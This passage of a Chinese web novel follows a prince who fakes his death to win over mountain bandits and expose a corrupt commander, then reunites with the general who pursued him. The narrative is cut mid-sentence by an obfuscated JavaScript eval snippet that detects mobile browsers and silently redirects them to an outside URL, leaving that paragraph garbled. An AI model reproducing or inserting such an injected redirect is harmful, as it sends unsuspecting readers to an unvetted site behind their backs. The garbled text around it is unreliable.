既寻不出尸首,这场大火与这半截断令,便是最好的凭据。只要死无对证,这西南的盖子,便算拿铁水浇死了,也翻不开来。 “殿下,他们走了。”武秦压低声音。 裴与驰收回目光,转身望向身后这群惊魂未定的“残兵败将”。刘义还喘着粗气,看着裴与驰的眼神已经彻底变了。从前的敬畏是因为身份,此刻的服气,是因为那把滴血的剑,和那股泰山崩于前而色不变的冷静。 “殿下,咱们现在往哪去?”武秦问,“这林子深处尽是瘴气,再往里走,可就是死路了。” “死路?”裴与驰抬手,用锦帕慢条斯理地擦去剑锋上的血迹。 “那是对于他们来说,对我们而言,是生路。” 说罢,他将帕子随手丢弃,侧目看了刘义一眼,仿佛早已看透他隐瞒未出口的那些事。 刘义背脊一凉,下意识低了头,不敢与他对视,心里却忍不住嘀咕:真他娘的碰哒鬼!老子恰过的盐比他恰过的米还多,年纪也大他一截,何解在这细伢子面前,脚杆子就打摆子咯? 裴与驰没点破,只将剩下半枚断令收入贴身衣袋。那里还藏着一支骨笛,紧紧贴着心口。 “走吧。”他迈开步子,锦靴踏入腐叶泥沼,“去把徐正义那帮人收了。从今日起,这西南大山,我说了算。” 行至半途,林间瘴气渐浓,四周静得只剩下枯枝被踩断的脆响。 一直沉默跟着的刘义,心里却像油煎一般。他看着前头那道挺拔背影,一会儿想起方才裴与驰那一剑封喉的狠绝,一会儿又想起这半个月殿下带着他们开荒、发粮、修渠的光景。那位高高在上的皇子,竟真把他们这群草寇当人看。 刘义咬了咬牙,终究快走两步追上去,“殿……殿下。” 裴与驰脚步未停,只冷淡吐出一个字:“说。” “白日里,草民已与殿下禀明……”刘义喉头发紧,声音压得极低,“那八百具官兵的尸首,草民带兄弟们暗里翻过。伤口切面平整,入肉极深,是吐蕃骑兵的弯刀砍的。这一点,草民敢拿脑袋担保。” 他说到这里顿住。裴与驰不催促,只不紧不慢往前走,像是在等他把话说尽。 刘义望着那背影,心一横,索性豁出去了:“还有一事……山上近来也不干净。” 他深吸一口气,语速极快:“前几日徐大哥传信,说抓到两个迷路的探子。那两人相貌像咱们这边的人,穿的也是汉人衣裳,可灌醉之后,嘴里冒出来的醉话……全是吐蕃语!” 这话一出口,刘义只觉后背一层冷汗。话赶话逼到此处,他干脆把底也揭了:“殿下,草民能收着徐正义的消息,是因草民从未真断了与山上的联系。当初带着几百号人下山,名义上投诚,实则……实则是为探虚实、做内应。” 说到这儿,刘义一脸憋屈,声音里竟带了点哭腔,像是憋了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239956|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太久终于吐出来:“只是哪个想得到,咱们一落山,就被殿下拖去开荒。那半个月,兄弟们起得比鸡还早,干得比牛还狠,累得跟驴一样……莫讲传消息咯,回帐篷连脚都懒得洗,往铺上一躺,眼皮子一合,人就没哒。” 只不过……每日到手的工钱热乎,锅里热饼热汤不断,再看殿下也挽着裤腿同他们下地挥锄,这心里的防线,早叫一锄头一锄头刨得稀碎。若不是陈狗贼这一下,他怕真要乐不思山了。 “那两人如今关在深山寨子里,是活口!”刘义索性把话全抖落干净,低着头等发落。 他与徐正义是结拜兄弟,刀口划过胳膊见过血。乱世浮萍,命如草芥,他二人虽大字不识几个,家徒四壁,骨子里却攒着一股草莽豪气。落草为寇,也讲究个盗亦有道;这些年,鸡鸣狗盗的下作事他们不干,伤过几个狗官,劫过几车不义之财,手上确实沾过血,却不曾沾过无辜百姓的人命。倒是官府的马匹、骡子、驴,屡屡遭殃,不是进了他们的肚子,便是被牵去拉磨。若裴与驰要治他个“假降欺君”,他刘义认了,绝不连累山上的大哥。 裴与驰终于停下脚步,回过头来,目光落在刘义那张紧张到发僵的脸上。 “活口?”裴与驰并未追究他先前那点“假投诚”的猫腻,只眉梢微挑,语气里反倒带了点看戏般的兴味,“你方才说……你们还抢了官府的骡子?” 刘义一愣,下意识点头:“是、是抢了几头……还有马……” “用来做什么了?” “拉……拉磨。”刘义声音越说越小,“那几头驴太倔,使唤不动,就拿战马试试看。” “拿官府的战马去拉磨……”裴与驰摇了摇头,唇角勾起一点少年人的促狭笑意,“你那位大哥,倒是个人才。” 他转身继续前行,语气轻松下来:“走吧,带路。去见见你那位把战马当驴使唤的大哥,顺带问问他,磨盘还在不在,眼下开荒,正缺几副好脚力。” ——回头倒要记下这桩新鲜事,等回了长安,说与那只狸奴一听。 战马尚且能拉磨,他家那只张牙舞爪的狸奴,又凭什么不能倒贴书生? 刘义猛地抬头,愣在原地,嘴巴张得能塞进个鸡蛋,这就……完了?不砍头?不问罪?半晌,他才回过神来,忙不迭迈开步子追上去,声音里透着股憨直的乐:“在呢!殿下若喜欢,俺也去让大哥把那几头倔驴……啊不,把那几头‘好脚力’,都给您牵来!” 刘义这下子倒戈得彻底,连自家大哥是姓徐还是姓裴都快记混了,一副乱世里见势认主的路数,把裴与驰一行人领得熟门熟路、半点不差。人刚到山寨楼下,生怕吊脚楼上的岗哨手快,先扯着嗓子喊了一声:“哥!我回来了!” 谁知迎面不是久别重逢,而是寨门“哐当”合拢,弓弦齐响,火把四起,一圈人围得水泄不通。 “把刀剑放下!” 喝声落下,寨门上方人影一动,徐正义终于现身。那道横贯鼻梁的旧疤在火光里显得格外狰狞,他目光一扫,第一眼便落在刘义身上。 城里递来的消息他才看过不久,三皇子与刘义皆葬身火海,尸骨无存。他甚至还没来得及悲恸,岗哨便来报,说半山腰忽然冒出一行人,为首的正是“早该死透”的刘义。 徐正义脑子“嗡”地一声:这是计。 狗皇子诈死诱他现身,擒了刘义作饵,好一出瓮中捉鳖。 他目光一转,落在站在最前头的裴与驰身上。年纪极轻,身形挺拔,眉目俊朗,在这箭拔弩张的阵仗里,竟还透着股游山玩水的从容。腰间那把黑剑,正是坊间传得沸沸扬扬、一剑封喉的凶器。 徐正义喉头滚了滚,那句“你敢伤我义弟老子跟你拼命”在舌尖滚了三遭,硬是被裴与驰那副云淡风轻的样子给震住了。憋了半天,他只挤出一句极其凶狠的软话:“……放我弟过来。” 刘义先愣了。他下意识摸了摸自己的脑袋,又回头看了眼连剑都懒得拔的裴与驰,最后看向寨门上如临大敌的自家大哥,一脸茫然:“哥,你发癫啰?我又没被绑,放个么子咯?” 徐正义额角青筋一跳,当场炸了:“你莫给老子说话哈!喊你过来,就给老子爬过来!” 刘义被吼得一缩脖子,小声嘀咕:“你啷个回事嘛……我好端端站到起,又没得刀架到脖子上,你紧张个么子。” 裴与驰站在中央,眉梢几不可察地动了一下,眼中笑意一闪而过。 这土匪窝,倒比冷冰冰的太极殿有意思得多。 刘义往前走,寨门上下的弓箭不仅没松,反倒绷得更紧。徐正义盯着自家兄弟那张因大吃半个月饱饭而红润起来的脸,眉头紧皱,半晌才压着嗓子问:“你身上……哪点不对头?” 刘义一愣,下意识低头看了看自己,又抬手闻了闻袖口:“哪有么子不对咯,就是烟味重了点……路上烤了只兔子吃。” 寨门上有人没憋住,低低“噗”了一声。 徐正义脸色更黑,低骂一声:“你个龟儿子,吓老子一跳!外头早传疯了,说你被烧得连骨头渣子都不剩了。” 刘义一听,反倒乐了,挠着头感慨:“哎呀,那火是大得很咯,我也以为要交代了。哪晓得殿下心眼多、跑得快,硬是带着我们从死门钻出来的。” 这句话一落,徐正义心头那点杀意便如雪见阳,散了大半。他了解刘义,这汉子最是藏不住话,那眼神里的服气和亲昵,装不出来。 他清了清嗓子,示意刘义把话说清。 刘义这下子彻底放开了,把腰杆一挺,话里带上了实打实的郑重:“哥,陈正衡那龟儿子,压根儿没把我们当人看。先送毒酒,后放火箭,是想要咱们和殿下一块儿腾云驾雾呢!要不是殿下早就算准了那帮狗官的下作路数,兄弟们早就去阎王爷那儿排队领孟婆汤了。” 刘义往前跨了一步,“哥,这半个月真不是我不回你消息,是天天被拉去开荒,累得一沾枕头就睡死过去,连翻个身的力气都没得。” “但工钱是真发,热汤热饭管够。兄弟们累是累,吃得饱、睡得踏实,比在山上提心吊胆强多咯。” 这话一落,寨门内外不少人神色都跟着松了松,握弓的手也不自觉放低了些。 刘义见状,索性把话全抖了出来:“殿下晓得我们底细,也晓得我们没沾百姓的血。他要是真想拿人头换功名,早在忠县就把我脑袋挂城门啰,哪还会留我到今天?” 徐正义没接话,只看了刘义一眼,又将目光移到裴与驰身上。火把在风里噼啪作响。裴与驰这才抬眼,手中黑剑往地上一点,闷声落下,满寨弓弦齐齐一紧。 “徐大当家,”他开口不高,却字字清楚,“我入蜀之时,确带了三千兵。只是兵不在山上,甲也不在身上,人已散在山下,翻土修渠。今日随我上山的,唯此数人。” 他说完,目光落在满墙箭簇之上,语气不疾不徐:“你若要我的命,此刻便是最好。” 箭锋却无一再进。 “只是你今日若杀了我,陈正衡那一干人,转头便会把账全算在蜈蚣寨头上,说是你们劫杀皇子。到那时,大军压山,谁还容你分辩?放火焚林、屠寨封山,不过几道文书的事。” 他向前行了一步,火光在脚下晃动。 “你们是要与我一道埋在这山里,还是要把满寨老小的性命,攥在自己手中,心里自当有数。” 寨中一时死寂,只余火把噼啪作响。 裴与驰抬手指向寨外山影:“若不想死,路也摆在眼前。这西南的匪名,我可替你们洗去;人可入籍,田可分户。马不必再上山劫掠,拉磨护田,看家守业,冬日立在自家地头,也不必再怕官兵夜半上山。” 他看着徐正义:“我给的不是赏赐,是子民本该有的活路。” 徐正义盯着他看了半晌,忽然啐了一口,随即放声大笑:“老子服了!先人板板哟,三皇子这张嘴,硬是能把死人说活!抢来的战马拉磨,这等丢人现眼的事,落到你嘴头,愣是成了过冬的指望!” 他笑骂着转身朝寨里吼道:“还愣到起啷个!弓收了,都给老子收了!殿下话都说到这份上了,还杵到起现眼嗦?人家要教你们真本事,修暗哨、设机关,你们那点破刀烂弓,拿到长安去,人家怕是连看都懒得看一眼!” 他大手一挥:“开寨门!” 寨门轰然打开。 接下来几日,蜈蚣寨气象尽改。裴与驰不摆架子,亲自在山脊、林口、险道间走了一遭,亲卫照着吩咐布置暗哨,陷阱。银票发下去,只道是预支的下山开荒的安家钱。刘义带回来的银钱作不得假,山下日子红火作不得假,而他能从陈正衡手中脱身而返,更是作不得假。 蜈蚣寨的人,本就不是生来为匪,不过是被盘剥得走投无路,才上了这条路。现在有人能给这群蜈蚣们活路,自然山寨迎来了新的老大。 于是,奉旨入蜀剿匪的三殿下,剿着剿着,自己倒成了蜈蚣王。 得人心者得天下。 天下先不提,这一窝蜈蚣—— 算是拿下了。 19. 龙王庙 离开石屋时,裴与驰的脸色极冷。那两名吐蕃探子供称,他们奉命驻扎在忠县、万县交界的一处村庄,前后已历数月。村庄早被屠尽,屋舍倾圮,血迹尚存,村庄两侧原该巡防的官兵却始终未见,连一处哨卡也未设下。探子又言,驻扎其间,粮秣按期送至,吃用未曾短缺。此番进山,一路行来,道路畅通,无人盘问;所奉之命,不过是探明蜈蚣寨的所在与规模,摸清山势、人手虚实。 裴与驰听罢,没有作声。 忠、万两县兵马,本为剿匪而调,却尽归陈正衡节制,兵不分界,令不出营。探子所言“无人巡防”、“未遇盘问”的情形,对应下来,不过是防线撤去,哨卡空置,巡防停摆,对吐蕃残部放任不理。 裴与驰低低冷笑了一声。 蔡廷、陈正衡,战败不报,外敌不逐,于边地私留空地,片纸未奏,僭议疆土,先行替裴家定边界。 他随即唤人备马。这一趟,非他亲自去不可。探查清楚吐蕃人人马几何,粮道从哪里接入,退路又留在何方。若按那两名探子所言,忠万交界那处村庄,多半只是前哨,用来放路、接应,真正的兵力还在后面。他们要的不是一个村庄,而是进山,占山,养兵休整,待机而动。此事拖不得,若真要动手,也不必久缠。 只取其首。 山中定策,城外应之。 靖武伯迟铎抵达忠县城外,却并未进逼,只令大军扎营城外,不再前行。城中一夜之间人心浮动,城门内外,看似如常,暗里却风声鹤唳。 先前剿匪增兵的旨意尚在,陈正衡手中原有五千兵马,纵使前线折损八百,如今仍握着四千余人。兵数在手,他心底尚存几分侥幸。兵部尚书被杖毙的消息迟迟未至西南,可传令兵却一去不返,那封军报至今无回。 他本就心虚。 于是军营操练骤紧,白日列阵,夜里巡营,兵甲不离身,守城更次换了两轮。陈正衡不敢松懈,只防京军忽至。 果然给他等到了。 城头哨兵急报,城外尘土翻涌,铁骑列阵,旌旗压地,一眼望不到头。不是剿匪援军,也非寻常调防,是京军。忠县城门随即合拢,吊桥高悬,弓弩齐架,箭簇压着城下旌幡,只待一声令下。 城外铁骑却并不前逼。鼓不鸣,旗不动,数千人马静立荒原。寒风穿甲而过,低低作响。守军原以为会有试探、会有喝令,等了许久,只等来一阵冷风,吹得执弓的手微微发颤。不多时,有军士策马上前,于阵前立起黄幡。诏书随风展开,高悬于天。迟铎勒马立于阵前,未下攻令,只抬手示意宣读。宣旨声随即响起,一遍一遍,不疾不缓,声震荒原,借着风势,送上城墙,落进每一个执弓之人的耳中。 “瞒报外敌入境,掩败为匪,欺君罔上,谋害皇子,意图灭口。” 条条皆是陈正衡的罪名。 罪状宣至第三遍,城头起了细微动静。有人对视,有人侧目,弓弦依旧绷着,却无人敢松。箭在弦上,却不知该落向何处。 迟铎这才抬眼,看向城墙,高声道:“奉旨而来,只取陈正衡一人。” 略一停顿,语调更高:“其余军士,原地不动者,既往不咎。” 话落,城外铁骑未动,城头弓弩未撤,箭亦未发,一时僵持。迟铎也不催,当日,他令京军原地扎营生火,做饭歇息,不鸣鼓,不列阵,只断城外粮道。入夜之后,阵前换了嗓门洪亮的士卒,隔着荒原高声传话,反复只说一句:奉旨而来,只取主将。 第二日,话未停,又添了一句:三日之内,只问陈正衡一人。 午后,一队巡哨士卒被截在城外。迟铎未收其甲,亦未缴其械,验明身份后便原路放回。几人回城时,身上未少一物,只带回一句话:“靖武伯说,他不收城,只收一人。” 第三日清晨,又添一句:若能活捉主将,不论此前有何过错,皆既往不咎。 话虽未点名,却已字字入耳。三日之期将尽,先动的,并非城头执弓小卒,而是陈正衡左右心腹。这些年军中诸事,调兵、撤防、避战,皆随陈正衡行,一桩未落。原以为事至此处,唯有抗旨守城,伺机遁走一途。可阵前反复传来的那句话,却多开了一道口子:活捉主将,既往不咎。夜里营帐相对,言语渐少,心思却各自翻涌。心下盘桓,只余一句:随他走,是必死;换条路,未必无生。城门未开,城防未撤,而城中人心,已然两分。 三日夜尽,四更将过,忠县城门忽然开启。城外京军列阵待命,披甲执兵,火光映刃。城门之内出来的,却只有数人,皆未着甲,亦未执兵,当中一人被麻绳层层缚住,口塞白布,头低着,被推搡着向前。 忠县军营四千余众,尽数卸甲,兵刃入库,各依旧序列立于营中。先前随裴与驰入山的那支精锐,也已回归京军阵列,与大营合兵一处。军令传下,只一道:卸甲,不问前事。于是卸甲者得生,降者得留。营门未封,帐火未灭,号令照旧传行。军中诸事,自此尽归京军节制,营盘、粮道、哨位,一一接管。 迟铎坐在原本陈正衡的主帐中,目光落在帐下那人身上:“三皇子为何失踪?” 帐中静了一瞬。陈正衡被反绑跪着,只着里衣,脊背却仍挺着。他抬眼看了迟铎一眼,嘴角慢慢牵起一丝冷笑:“你问我?”他哼了一声,“我戎马半生,到头来,却被个还没长成的娃儿逼到这一步。” “你们京里的人,只会拿圣旨说话。真到了山里,到了边上,刀落下来,谁替我挡?命没了,谁替我还?” 迟铎没有接话,只向前一步:“我不问旁的。三皇子,人在哪里。” 陈正衡喉头动了动,目光闪了一下,很快又压了回去:“死了,活了,与你何干。” 帐中一静。迟铎点了点头,抬手示意,帐外随即带进来一名妇人。她衣着齐整,只是发钗散乱,一见地上那人,脚下一软,几乎是扑过去,将陈正衡抱住,低声哭了出来。 迟铎站在原处,没有多看一眼,又问了一遍:“三皇子,人在哪里。” 陈正衡抬头看着他,咬着牙道:“你口口声声说只取主将,不累旁人,如今这是要做什么?” 迟铎道:“我只要三皇子一人的消息。你若肯说,事到你为止;你若不说,自有别的法子。” 自长安至西南,昼夜兼程,军报一封封拆开,又一封封合上,始终没有那个人的消息。此刻对着陈正衡,喉头一紧,呼吸重了一瞬,又被他生生压下。 陈正衡忽然笑了一声:“靖武伯要找三皇子,怕是要腾云驾雾。”话音未落,迟铎一步踏前,火盆里的炭被震得飞溅,他一把揪住陈正衡的衣襟,将人提起:“说清楚。” 陈正衡被勒得喘不过气,仍挤出一句:“你不是要找人么——”话没说完,一拳已然落下,他被重重掼回地上,锁链乱响,血从嘴角渗出。 迟铎俯身看着他:“他若死,我要尸首;他若活,我要活人。”他按住陈正衡的肩,“在哪。” 帐中再无声息。过了片刻,陈正衡喘着气,道:“人在哪你自己去找,我反正没见着活的。城南尽头那处营地烧过一回,能剩下什么,你心里有数。” 迟铎听完,松开手,转身出帐,帐帘被他掀得一声作响。陈正衡跪在帐中,等了片刻,却未等来追问。城防如何,外敌何在,迟铎一句未提,只留下那句问话,便已走远。 迟铎点了陈正衡的副将,命其随行,又调百余人同行。那副将知大势已去,为求活命,不敢再隐瞒,一路所问,皆一五一十作答。他说,那一夜确有密令下达,调人前往城南营地截杀。第二日再去探查,营地已成焦土,尸骨不存,只余零散残衣,难辨身份。他们据此判断,是自己派出的杀手与三皇子的亲卫两方交手,火起之后,俱被焚尽。 迟铎一路听着,指节在缰绳上收紧,又松开,再收紧,唇角几乎被咬破,始终未出一声。 到了地方,营地已成焦土,灰烬被风吹得四散。迟铎下马,沿着残垣一步步走过去,脚下踩碎的炭屑发出细响。他先看火痕,又看倒塌的营帐骨架,目光在地面来回扫过,却始终避开最中央那一片烧得最彻底的地方。有人上前欲翻动残骸,被他抬手止住。周围查了一圈,他站在原地未动,双唇紧紧抿着,呼吸声几不可闻。片刻后,才走过去,俯身查看地上的碎布、焦木、零散兵刃,每一样都看得极慢,却没有一件敢多看一眼。 锦袍碎片不在,那人的手帕也不在。 他直起身,循着痕迹进了草丛,到了副将指认的地方。迟铎低头看了片刻,从怀中取出那半枚断令,对照了一眼,随即合掌收紧。 再抬眼时,已望向后方密林。追兵留下的脚印杂乱,至林前便断。 “刘义等人的衣物,可有发现?” “无。” 迟铎抬手指向林中:“此路通向何处?” 副将顿了一下,道:“通向天子山。林中瘴气重,多是老路,徐正义的老巢就在那一带。若非久居西南,轻易不敢入内。” 迟铎心下大定,翻身上马,“殿下先前招安的匪众,如今安在何处?” 副将报上位置。 “带路。”迟铎垂眼看了看身下这匹寻常战马,指节在缰绳上收紧了一下,又慢慢松开。 裴与驰,你最好是脱身了。姣雪这一路跑下来差点累死的账,我就算追到黄泉路口,也要跟你算明白。 那些已编籍为良民的前匪,一听 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迟铎回城,先去细看了哨兵的伤口。喉上一道弯刀口子,深却不齐,翻肉处带着拉扯的痕迹,并非一刀毙命;哨兵的佩刀同样见血,刃口崩缺,显然不是仓促遇袭,而是贴身缠斗过一阵,才被抹喉。他站在原地看了片刻,转身又把当夜的军报翻了一遍。吐蕃人在蜀地盘桓数月,陈正衡瞒报属实,但这些人此前从未入过忠县城内也不假,如今京军压境,城外大营列阵未散,他们却在这当口潜入城中,抹杀哨兵便退,既不纵火,也不劫粮,更无攻门之举。 这来意,不在攻城。 迟铎合上军报,在案前停了一瞬。盘踞而不入,多半是兵力不足;能在蜀地逗留数月不被驱逐,多半是有人放路;而今夜京军在内,他们却仍敢冒险进城,所图之事,便只剩下探虚实,或是断线索。 他随即出了帐,将副将与巡营诸将一并唤来,只吩咐不必惊动城门,分作四队,沿城内外要道细搜。他抬手点了几处巷口与出城小路,说对方抹喉不成,身上必有伤,血迹难掩,地上、墙脚、水沟皆要留意,见血便顺着追下去,不得张扬。副将领命欲去,迟铎又将人叫住,补了一句,这些人不会在城中久留,必然回营报信,血路所尽之处,多半便是他们真正的落脚点。 迟铎最后道,“我要亲自去收他们的老巢。” 迟铎领着人,换了夜行衣,循着血迹一路追出城去。血线越走越淡,到了忠县、万县交界处,只在草叶间零零散散留着几点暗痕,再往前,坡下便是一处偏僻村庄。正是炊烟当起的时辰,村中却静得出奇,屋舍无烟,犬声不闻。 迟铎在坡的另一面停下,抬手示意众人伏住,目光在四周扫了一圈,随即调转部署,命一拨人退后数百步,绕至村后要道,守住来路;其余几拨分向左右,借着地势贴近包抄。话吩咐完,他又示意众人将火把尽数收起,各自摸黑而行。众人依令散开,从坡下绕向村庄四周。迟铎却没有随行下坡,而是独自沿着坡脊向上走去。这里地势略高,既能俯瞰村落,也能压住周围林线,一旦有异动,最先看见的,必在此处。 刚到坡顶,风声忽地一变。迟铎下意识侧身,一股劲风擦着肩侧掠过,他抬肘格挡,手臂一震,对方已近身。来人一身夜行衣,出手极快,招式直取关节,分明是要卸力擒人。迟铎反手扣住对方手腕,脚下一错,借势一拧,却被对方顺势贴近,肩撞肋下,两人瞬间贴身扭在一处。夜色中不见兵刃,两人贴身缠斗,拳肘相接,谁也未退。迟铎出手稳准,每一下都卡着关节与重心,分明是行伍里的生擒路数;对面却步子极快,不绕不闪,直线压上,招招逼近,却始终不取死穴。 数回合下来,彼此都未能制住对方。 迟铎心里已有数。这人一身夜行衣,身法却干净利落,出手不狠,却极准,若是吐蕃暗哨,早该短刃贴身,不会在关节上反复纠缠。对面同样察觉不对,这人的步法太稳,力道收放分明,绝非游骑斥候。 再拖下去,谁都占不到便宜,反倒容易引来旁人,几乎同时,两人借着一次错身,各自退开一步,缠斗骤断,下一瞬,杀招已起。 迟铎借着后撤之势侧身错步,刀锋自下而上掠出,横线极低,贴着颈下扫来,来势迅猛,像是骑阵中突然贴近的一刀,干脆、直接,只求一瞬断喉。 对面却不退反进,寒光乍现,剑已出鞘。那一剑没有花样,腕力一送,剑锋直刺,取的是咽下三寸,速度快而狠,全然是阵前破敌的路数,一招只为制敌,不留回旋。 刀与剑在夜色中骤然相交,火星迸开。两人同时收势,刀锋停在半寸之外,剑尖偏开一线。 “狸奴?” 迟铎愣在那里,没有应声。 对面那人抬手,将面罩缓缓揭下。 月色落下来,照亮那张脸—— 他为此一路追来、反复在心里骂过、又日思夜想的那个人,此刻立在坡顶,清辉落满眉眼,竟已在他眼前。 20. 密林 武秦领着亲卫并迟铎麾下人马赶到坡顶时,只见夜色之中,两道身影正如鹰隼搏杀,刀光剑影交错纵横,招招皆奔要害而去,半分退让也无。众人见状皆是一惊,正欲上前助阵,却忽见那两人仿佛心有所感,兵刃相抵的一瞬同时一顿,随即极有默契地各自撤步,抬手扯下了面上的黑布与面罩。 那一刻,山风似乎都静了一瞬。 武秦远远瞧清那两张脸,只觉头皮一麻,倒吸一口凉气,心中只剩一句话:这下当真是大水冲了龙王庙,自家人不识自家人。 他看得分明,方才那几招凌厉狠辣,半点情分都未曾留下。往日里的校场切磋,是情意绵绵的调笑;可方才那一番,却是奔着顷刻毙命去的真杀招。若非两人收手得快,只怕今夜这坡顶之上,便要横着抬走一对同赴黄泉的鸳鸯。 迟铎带来的下属一见裴与驰那张全须全尾的脸,先是一愣,随即面上狂喜,有人双腿一软,险些当场跪下,合掌朝天,感谢漫天神佛保佑。三殿下安然无恙!哪怕这一仗打不赢吐蕃人,圣人也不至于拿他们这群人的脑袋去填坑。阿弥陀佛,这天总算是没塌下来。 众人这一口气尚未来得及松到底,便见那位立了军令状、千里奔袭而来的主将靖武伯忽然动了。 迟铎不顾尊卑,大步上前,甚至连手中佩刀都未归鞘,抬手便在三殿下身上摸索起来。从肩胛到手臂,从胸口到腰侧,一处不落,直到确认掌下是温热的活人,确认这人身上并无半点血腥气,那股支撑他一路杀到西南的劲儿,忽然就散了。 取而代之的,是迟来的后怕与压不住的恼火。 迟铎死死抿着唇,一句话也没说,眼眶却以肉眼可见的速度红了个透。他仰起头,像是硬生生把那点湿意逼了回去。下一瞬,便听“铛”的一声,他竟将那柄随身不离的佩刀狠狠掼在地上,刀锋磕在山石上,火星四溅。 迟铎狠狠瞪了裴与驰一眼,转身便往山林深处去,脚下生风,背影决绝得很,仿佛这一走,便再不回头。 裴与驰反应极快,半分犹豫也无,弯腰捡起佩刀,转身便追,头也不回,身法竟比方才对战时还要快上三分。 坡顶众人站在原地,一时面面相觑,鸦雀无声。 这变故来得也太快了,方才还是刀剑相向、生死一线,好不容易才确认人还活着,转眼之间,便成了这副光景—— 主将红着眼丢刀便走,活脱脱像是被负心汉伤透了心的姑娘;皇子殿下抱刀紧追不放,又像是把人惹恼了,事后才想起追悔的浪荡子。 一众行伍粗人看得眼睛都直了,只觉眼前一阵乱影,连喘口气的工夫都没有。 “……这、这是何意?” 李校尉愣愣地低声问了一句。 武秦没接话,只往山道那头早已没入林中的两道背影瞧了一眼。 这还用问么?账多得很,从长安一路骗到西南,这一时半刻,怕是算不清的。 只是这话,无论如何也只能在肚子里转一转,断不能出口。武秦清了清嗓子,极快地敛了神色,换上一副公事公办的模样,拱手对李校尉道:“李校尉,许久不见。方才驰援之恩,武某记下了。” 他顿了顿,面不改色地接着道:“殿下与靖武伯有要紧军务需立刻商议,恐涉机密,不便旁听。我等留几人替他们放哨,其余人依殿下与靖武伯原有安排行事,只打探,不见血。” 李校尉一愣,随即肃然应道:“是!” 李校尉领命退下,几位亲卫依言散开,在四下要道处放哨。武秦却仍站在原地,目光追着林中那两道早已不见的身影,心里发麻。 都闹到这一步了,长安那位……当真会一点动静都没有么? 武秦把先前来不及细想的账,又在心里悄悄盘了一遍。殿下一开始药倒靖武伯,本就是不愿将人拖进这潭浑水里去,宁可自己假死脱身,混迹匪中,把所有明枪暗箭尽数揽到身上。可殿下生死未卜,真相难明,在这样的情形下,靖武伯又哪里坐得住?于是千里奔袭、立下军令状,连命都押上去,也不过是顺着心意走一遭罢了。 这账,哪里是三言两语算得清的。 武秦抬手揉了揉眉心,面上仍旧端得四平八稳,心里却忍不住叹了口气:不管怎么算,最倒霉的,终归还是咱们这些做下属的。 山林岑寂,只有脚下枯枝碎裂的声响,一声紧似一声,杂乱而急促,仿佛要将这路面踩出个窟窿来,迟铎走得极快,背影在林影间晃动不定,连风都追不上。 “狸奴。”裴与驰在身后唤了一声。 迟铎充耳不闻,脚下反倒更急了几分。行出一段,胸中那口气终究压不住,他猛地停下脚步,转身冷声道:“三殿下这是借尸还魂了?既然都成了鬼,怎不索性死个干净,连着那营地一道烧了,也省得如今半死不活地折腾人!” 话出口的瞬间,他自己先是一紧,像是被什么狠狠拽了一下心口,低低“呸”了一声,眉头紧锁,在心里连念了几遍坏的不灵、好的灵,菩萨见谅,方才乱言,做不得数。可那点后怕到底还是压不住,顺着胸腔漫了上来,眼眶一热,泪水便不受控地落下,砸进脚下干枯的落叶里,连声响都来不及留下。 风声骤然逼近。 他尚未来得及抬手去擦,手腕便被人从后头一把扣住,力道极重,连挣扎的余地都不给,整个人被扯得踉跄半步,背脊重重撞上粗糙的树干。树皮硌得人生疼,夜风穿林而过,枝叶簌簌作响,却吹不散两人骤然贴近的体温。一路奔波逃亡,又是一路提心吊胆,两人都清减了不少。裴与驰低头看他,恰好高出半个头,身影压下来,将迟铎整个人圈在怀里。迟铎张了张口,原本要骂的话却尽数堵在喉间,只余下一声压得极低的哽咽。 裴与驰没有给他再开口的机会,俯身贴了上来。 唇一相触,迟铎整个人像被点了穴,呼吸霎时乱了套。那温度真实的过分,热气贴着唇碾过去,叫人心里发软。直到此刻,他才算真正放下心来,这个一路让他悬心吊命、不惜立下军令状也要追来的男人,确确实实站在眼前,好端端的,有血有肉,毫发无损。 先前翻涌的怒意忽然没了去处,委屈却汹涌而上。泪水顺着眼角滑落,湿漉漉地沾进两人相贴的唇间,又咸又涩。迟铎抬手死死揪住裴与驰的衣襟,指节泛白,仿佛只要一松手,这人便会被什么无常阴差勾走,再也抓不住。 “混账……”他含混地骂了一句。 下一瞬,却踮起脚来,近乎发狠地回吻了过去。不是缠绵,而是宣泄,将这一路的惊惧、后怕与不安,尽数塞进这一口里。他咬得很重,齿关磕破了皮肉,在那负心人唇上留下一道清晰的伤痕。 血腥味顿时在口中漫开。 裴与驰闷哼一声,却稳稳受着,既不躲也不退,像是早就料到要挨这一遭。纵然唇上用力,齿间却始终收着分寸,半点不肯反伤他。这样的纵容,反倒把迟铎心里的酸软都勾了出来。他像只被吓坏了的狸奴,咬着不放,任由铁锈般的血味在交叠的呼吸间蔓延交融。 直到那口憋了许久的气顺过来,他才慢慢松了劲,却也没退开,反而伸出舌尖,在那道伤处轻轻一舔,湿软而短促,混着血气,既像安抚,又像试探。 这一点,正中要害。 裴与驰那点苦撑的克制,终于断了线。他扣住迟铎的后脑,迫得人不得不仰起头来,齿关被温和却不容拒绝地撬开,舌尖长驱直入,带着不容置疑的强势。先前的撕咬退去,留下真正意义上的唇齿相依。残余的血腥味在交叠的呼吸里慢慢化开,反倒生出几分甜意。裴与驰吻得极深,一寸寸描摹过敏感的上颚,像是要把这半个月来所有悬心与牵挂,都一并渡过去。 迟铎揪着衣襟的手渐渐松了,最终无力地攀上他的肩头。 林间的风不知何时停了。 方才还浑身炸毛、恨不能咬下一块肉来的迟小将军,此刻却在这几乎要溺人的温柔里彻底软了下来。他仰着头,生涩却认真地回应着,唇舌轻轻勾缠,低低的水声在静谧夜色中显得格外清晰,暧昧而克制,像劫后余生的心跳,一下下撞在胸腔里。 良久,一吻方歇。 双唇分开时仍牵着一线晶莹,在夜色里轻轻一晃,方才断去。裴与驰抬手替他拭去唇角水痕,拇指落在微肿的唇瓣上,动作极轻。 